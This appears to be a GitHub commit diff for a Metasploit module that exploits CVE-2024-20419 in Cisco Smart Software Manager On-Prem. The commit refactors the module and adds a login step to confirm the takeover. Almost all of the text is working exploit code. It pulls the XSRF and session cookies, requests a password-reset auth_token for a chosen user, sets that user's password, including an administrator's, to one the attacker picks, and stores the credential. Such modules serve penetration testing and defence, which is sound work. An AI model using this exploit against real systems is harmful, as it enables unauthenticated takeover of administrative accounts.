@@ -7,12 +7,12 @@ def initialize(info = {})
77 info ,
88 'Name' => 'Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)' ,
99 'Description' => %q{
10- This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206, by changing the
11- password of an existing user to an attacker-controlled one .
10+ This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206. An unauthenticated remote attacker
11+ can change the password of any existing user, including administrative users .
1212 } ,
1313 'Author' => [
14- 'Mohammed Adel ' , # Discovery and PoC
15- 'Michael Heinzl ' # MSF Module
14+ 'Michael Heinzl ' , # MSF Module
15+ 'Mohammed Adel ' # Discovery and PoC
1616 ] ,
1717 'References' => [
1818 [ 'CVE' , '2024-20419' ] ,
@@ -58,47 +58,47 @@ def run
5858 unless res
5959 fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
6060 end
61- if res . code == 200
62- print_good ( 'Server reachable.' )
63- else
61+ unless res . code == 200
6462 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
6563 end
66-
67- raw_res = res . to_s
64+ print_good ( 'Server reachable.' )
6865
6966 # Extract XSRF-TOKEN value
67+ raw_res = res . to_s
7068 xsrf_token_regex = /XSRF-TOKEN=([^;]*)/
7169 xsrf_token = xsrf_token_regex . match ( raw_res )
7270
73- if xsrf_token
74- xsrf_token_value = xsrf_token [ 1 ]
75- if xsrf_token_value && !xsrf_token_value . empty?
76- decoded_xsrf_token = decode_url ( xsrf_token_value )
77- print_good ( "Retrieved XSRF Token: #{ decoded_xsrf_token } " )
78- else
79- fail_with ( Failure ::UnexpectedReply , 'XSRF Token value is null or empty.' )
80- end
81- else
71+ unless xsrf_token
8272 fail_with ( Failure ::UnexpectedReply , 'XSRF Token not found' )
8373 end
8474
75+ xsrf_token_value = xsrf_token [ 1 ]
76+ unless xsrf_token_value && !xsrf_token_value . empty?
77+ fail_with ( Failure ::UnexpectedReply , 'XSRF Token value is null or empty.' )
78+ end
79+
80+ decoded_xsrf_token = decode_url ( xsrf_token_value )
81+ print_good ( "Retrieved XSRF Token: #{ decoded_xsrf_token } " )
82+
8583 # Extract _lic_engine_session value
8684 lic_token_regex = /_lic_engine_session=([^;]*)/
8785 lic_token = lic_token_regex . match ( raw_res )
8886
89- if lic_token
90- lic_token_value = lic_token [ 1 ]
91- if lic_token_value && !lic_token_value . empty?
92- print_good ( "Retrieved _lic_engine_session: #{ lic_token_value } " )
93- else
94- fail_with ( Failure ::UnexpectedReply , '_lic_engine_session value is null or empty.' )
95- end
96- else
87+ unless lic_token
9788 fail_with ( Failure ::UnexpectedReply , '_lic_engine_session not found' )
9889 end
9990
91+ lic_token_value = lic_token [ 1 ]
92+ unless lic_token_value && !lic_token_value . empty?
93+ fail_with ( Failure ::UnexpectedReply , '_lic_engine_session value is null or empty.' )
94+ end
95+
96+ print_good ( "Retrieved _lic_engine_session: #{ lic_token_value } " )
97+
10098 # 2) Request generate_code to retrieve auth_token
101- payload = "{\" uid\" : \" #{ datastore [ 'USER' ] } \" }"
99+ payload = {
100+ uid : datastore [ 'USER' ]
101+ } . to_json
102102
103103 res = send_request_cgi ( {
104104 'method' => 'POST' ,
@@ -107,28 +107,34 @@ def run
107107 'X-Xsrf-Token' => decoded_xsrf_token ,
108108 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
109109 } ,
110- 'uri' => normalize_uri ( target_uri . path , '/ backend/reset_password/generate_code' ) ,
110+ 'uri' => normalize_uri ( target_uri . path , 'backend/reset_password/generate_code' ) ,
111111 'data' => payload
112112 } )
113113
114114 unless res
115115 fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
116116 end
117- if res . code == 200
118- json = res . get_json_document
119- if json . key? ( 'error_message' )
120- fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
121- elsif json . key? ( 'auth_token' )
122- print_good ( 'Retrieved auth_token: ' + json [ 'auth_token' ] )
123- end
124- else
117+ unless res . code == 200
125118 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
126119 end
127120
121+ json = res . get_json_document
122+ if json . key? ( 'error_message' )
123+ fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
124+ elsif json . key? ( 'auth_token' )
125+ print_good ( 'Retrieved auth_token: ' + json [ 'auth_token' ] )
126+ end
127+
128128 auth_token = json [ 'auth_token' ]
129129
130130 # 3) Request reset_password to change the password of the specified user
131- payload = "{\" uid\" : \" #{ datastore [ 'USER' ] } \" , \" auth_token\" : \" #{ auth_token } \" , \" password\" : \" #{ datastore [ 'NEW_PASSWORD' ] } \" , \" password_confirmation\" : \" #{ datastore [ 'NEW_PASSWORD' ] } \" , \" common_name\" : \" \" }"
131+ payload = {
132+ uid : datastore [ 'USER' ] ,
133+ auth_token : auth_token ,
134+ password : datastore [ 'NEW_PASSWORD' ] ,
135+ password_confirmation : datastore [ 'NEW_PASSWORD' ] ,
136+ common_name : ''
137+ } . to_json
132138
133139 res = send_request_cgi ( {
134140 'method' => 'POST' ,
@@ -137,24 +143,52 @@ def run
137143 'X-Xsrf-Token' => decoded_xsrf_token ,
138144 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
139145 } ,
140- 'uri' => normalize_uri ( target_uri . path , '/ backend/reset_password' ) ,
146+ 'uri' => normalize_uri ( target_uri . path , 'backend/reset_password' ) ,
141147 'data' => payload
142148 } )
143149
144150 unless res
145151 fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
146152 end
147153
148- if res . code == 200
149- json = res . get_json_document
150- if json . key? ( 'error_message' )
151- fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
152- else
153- store_valid_credential ( user : datastore [ 'USER' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : json )
154- print_good ( "Password for the #{ datastore [ 'USER' ] } user was successfully updated: #{ datastore [ 'NEW_PASSWORD' ] } " )
155- print_good ( "Login at: http://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } /#/logIn?redirectURL=%2F" ) end
156- else
154+ unless res . code == 200
155+ fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
156+ end
157+
158+ json = res . get_json_document
159+ if json . key? ( 'error_message' )
160+ fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
161+ end
162+
163+ # 4) Confirm that we can authenticate with the new password
164+ payload = {
165+ username : datastore [ 'USER' ] ,
166+ password : datastore [ 'NEW_PASSWORD' ]
167+ } . to_json
168+
169+ res = send_request_cgi ( {
170+ 'method' => 'POST' ,
171+ 'ctype' => 'application/json' ,
172+ 'headers' => {
173+ 'X-Xsrf-Token' => decoded_xsrf_token ,
174+ 'Accept' => 'application/json' ,
175+ 'Cookie' => "_lic_engine_session=#{ lic_token_value } ; XSRF-TOKEN=#{ decoded_xsrf_token } "
176+ } ,
177+ 'uri' => normalize_uri ( target_uri . path , 'backend/auth/identity/callback' ) ,
178+ 'data' => payload
179+ } )
180+
181+ unless res . code == 200
157182 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the target.' )
158183 end
184+
185+ json = res . get_json_document
186+ unless json . key? ( 'uid' ) && json [ 'uid' ] == datastore [ 'USER' ]
187+ fail_with ( Failure ::UnexpectedReply , json [ 'error_message' ] )
188+ end
189+
190+ store_valid_credential ( user : datastore [ 'USER' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : json )
191+ print_good ( "Password for the #{ datastore [ 'USER' ] } user was successfully updated: #{ datastore [ 'NEW_PASSWORD' ] } " )
192+ print_good ( "Login at: #{ full_uri ( normalize_uri ( target_uri , '#/logIn?redirectURL=%2F' ) ) } " )
159193 end
160194end
0 commit comments